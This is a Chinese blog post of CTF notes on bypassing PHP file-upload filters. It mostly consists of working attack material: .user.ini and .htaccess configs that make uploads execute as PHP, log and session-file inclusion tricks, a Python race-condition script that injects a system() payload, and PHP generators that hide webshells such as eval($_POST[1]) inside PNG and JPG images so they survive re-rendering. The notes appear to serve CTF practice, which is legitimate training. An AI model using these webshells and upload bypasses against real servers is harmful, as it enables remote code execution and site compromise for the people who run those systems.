文件上传笔记

.user.ini 和 .htaccess 配置文件

***1.auto_append_file在木马文件上传后上传

auto_prepend_file在木马文件上传前上传

日志包含:

当反引号都被过滤时只能日志包含

log可以用点号拼接绕过 ,内容为

GIF89a   
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

上传完.user.ini后上传图片并在图片的UA加上一句话木马

访问upload可以看日志包含是否成功

连接带马的路径

*配置文件需要目录下有php文件若没有就上传一个

若是过滤<>也可以上传ini时候直接上传日志即:

GIF89A
auto_append_file=/var/log/nginx/access.log

htaccess 配置文件

1 .htaccess文件内容

这里限制文件名字匹配jz

<FilesMatch "jz">
SetHandler application/x-httpd-php
</FilesMatch>
​

也可以不限制,即:

AddType application/x-httpd-php .jpg     //将jpg解析成php
首先上传.htaccess

再上传一句话木马

hackbar进行命令执行

session包含:

*如果在上传.user.ini文件时过滤了点 .

*那么*只能采用包含session文件的方法

脚本

import requests
import threading
​
session = requests.session()
sess = 'xiao'
url1 = "http://4819a43b-3a1e-49d3-89e7-51f9043badba.challenge.ctf.show/"
url2 = "http://4819a43b-3a1e-49d3-89e7-51f9043badba.challenge.ctf.show/upload"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
    'file': 'xiao'
}
cookies = {
    'PHPSESSID': sess
}
​
​
def write():
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)
​
​
def read():
    while True:
        r = session.get(url2)
        if 'flag' in r.text:
            print(r.text)
threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()
​
上传文件内容:
GIF89a
auto_append_file=/tmp/sess_xiao

运行脚本条件竞争得flag

zip上传

抓包上传一个zip文件

注意:

上传zip包,MIME类型为:Content-Type: application/zip

需要修改成:Content-Type: application/x-zip-compressed

Forward发送后点击下载文件并抓包

木马写的是GET则

若用post则改一下传参方式

*把file再放回上面,在下面输命令

png二次渲染:

****二次渲染在浏览器上得不出答案的,需要bp抓包

标志:文件上传成功后,点击查看图片会跳转到download.php?image=

脚本:

<?php
​
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
​
imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>
​

脚本生成一个带马的图片,抓包发送后再抓包查看图片:get传入0=system;post传入`1=tac flag.php

jpg二次渲染:

脚本

<?php
    $miniPayload = '<?=eval($_POST[1]);?>';
​
​
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
​
    if(!isset($argv[1])) {
        //die('php jpg_payload.php <jpg_name.jpg>');
        $argv[1] = '1.jpg';
    }
​
    set_error_handler("custom_error_handler");
​
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
​
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
​
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    echo "error";
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
​
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
​
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
​
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
​
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
​
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
​
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
​
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
​
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
​
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?> 

先上传一张jpg图片然后下载到本地重命名为2.jpg,再用jpg脚本生成payload_2.jpg

脚本运行:在终端输入php 代码文件名 图片文件名

eg: php jpg二次渲染.php a.jpg

在上传payload_2.jpg,抓包

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值